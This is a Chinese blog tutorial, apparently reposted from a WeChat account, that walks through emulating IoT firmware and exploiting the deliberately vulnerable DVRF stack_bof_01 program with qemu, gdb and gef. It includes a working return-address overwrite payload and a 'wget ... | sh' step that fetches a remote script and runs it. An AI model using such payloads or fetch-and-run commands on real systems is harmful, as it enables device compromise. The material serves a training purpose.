二进制安全,固件分析栈溢出Pwn

admin 2024年12月5日22:42:08评论7 views字数 2302阅读7分40秒阅读模式

动态分析IoT固件

动态分析固件之前,需要先把固件运行起来,但我们手头又没有路由器、摄像头之类的物联网硬件,该如何运行呢?这就需要虚拟执行,虚拟执行你就把它想象成一个虚拟机可以运行各种物联网OS就是了。虚拟执行IoT固件需要用到firmadyne工具,该工具很难安装,在kali上安装一直报错,你们可以尝试下,反正我是放弃了,最终还是乖乖地用attifyti提供的物联网渗透专用虚拟机,下载下来的文件直接用vmware导入就行了。

链接如下:

链接:https://pan.baidu.com/s/1QO_WTBRhumrQ-Cymq87Yfw?pwd=dxve
提取码:dxve

VMware虚拟机密码:password@123

系统为ubuntu,下面演示虚拟执行一个dlink路由固件

二进制安全,固件分析栈溢出Pwn

cd到/home/oit/tools/fat路径下运行fat.py

这里我用的是它自带的固件系统Dlink_firmware.bin

如果你的固件系统.bin是外面拉进虚拟机的要进行cp命令到/home/oit/tools/fat文件下

二进制安全,固件分析栈溢出Pwn

输入固件路径Dlink_firmware.bin,然后是固件的品牌dlink,后续依次输入数据库密码firmadyne和用户密码password@123即可

脚本执行成功后,会回显一个IP地址,这个IP就是模拟路由器固件的IP地址

二进制安全,固件分析栈溢出Pwn

我这里是192.168.0.1

二进制安全,固件分析栈溢出Pwn

以上只是简单地演示如何虚拟执行一个固件,下面我们就来实操如何通过动态调试分析一个固件,接下来的固件采用DVRF,这是个网友自制的充满漏洞的固件

git clone https://github.com/praetorian-code/DVRF.git

开始之前,安装以下工具,动态调试中会用到

sudo apt install gdb-multiarch
wget -q -O-

https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
sudo pip3 install capstone unicorn keystone-engine

安装keystone-engine时可能会报错,参考这个链接。
https://github.com/avatartwo/avatar2/issues/23
安装好工具后,就开始对固件进行分析啦,固件的路径为DVRF/Firmware/DVRF_v03.bin。
使用binwalk提取固件文件系统。

binwalk -t -e DVRF_v03.bin

二进制安全,固件分析栈溢出Pwn

二进制安全,固件分析栈溢出Pwn

提取出来的系统有个文件夹pwnable,这个文件夹就是存放着有漏洞的程序示例,我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构

readelf -h pwnable/Intro/stack_bof_01

二进制安全,固件分析栈溢出Pwn

拷贝qemu-mipsel-static到当前目录,然后配合chroot虚拟执行stack_bof_01固件,可以成功执行。qemu是一款轻型的虚拟机

cp $(which qemu-mipsel-static) .

sudo chroot . ./qemu-mipsel-static
./pwnable/Intro/stack_bof_01

二进制安全,固件分析栈溢出Pwn

查看stack_bof_01的源码,可以发现明显的strcpy内存溢出漏洞,当参数argv[1]超过200时,就会出现buf溢出的现象。

cat DVRF/Pwnable Source/Intro/stack_bof_01.c

二进制安全,固件分析栈溢出Pwn

以调试的方式启动stack_bof_01,在本地的1234端口监听调试。

sudo chroot . ./qemu-mipsel-static -g 1234

./pwnable/Intro/stack_bof_01

二进制安全,固件分析栈溢出Pwn

运行以下命令开始调试

gdb-multiarch pwnable/Intro/stack_bof_01

gdb运行后,会自动加载gef插件,然后设置固件架构为mips。

set architecture mips

设置完远程调试的IP和端口,就可开始调试stack_bof_01程序了

target remote 127.0.0.1:1234

二进制安全,固件分析栈溢出Pwn

调用命令查看样本的所有函数,可以看到各个函数的地址

info functions

二进制安全,固件分析栈溢出Pwn

如果你感兴趣,可以使用命令查反汇编看下main函数的汇编码,这是mips架构的汇编码,跟x86的相差很大,完全看不懂

disass main

二进制安全,固件分析栈溢出Pwn

然后我们使用命令创建一个随机的300字节流,作为攻击字符串,用于测试参数溢出的点

pattern create 300

二进制安全,固件分析栈溢出Pwn

重新带参数调试stack_bof_01

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01  后跟300个字符

二进制安全,固件分析栈溢出Pwn

gdb挂上去后,输入c回车让程序跑起来,会发现程序崩溃了,SIGSEGV内存出错,指针ra指向0x63616162,对应的ASCII是baac

二进制安全,固件分析栈溢出Pwn

使用命令查看该溢出点在攻击字符串的什么位置,是位于pattern的第204位

pattern search 0x63616162

disass dat_shell

二进制安全,固件分析栈溢出Pwn

将待执行的函数地址拼凑到204个字节后面,便可劫持程序执行流到dat_shell函数(0x40095C),从而实现缓冲区溢出攻击

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + 'x5cx09x40'")"

二进制安全,固件分析栈溢出Pwn

即可完成栈溢出攻击!!!

原文始发于微信公众号(Pwn师傅):二进制安全,固件分析栈溢出Pwn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月5日22:42:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   二进制安全,固件分析栈溢出Pwnhttp://cn-sec.com/archives/1763729.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息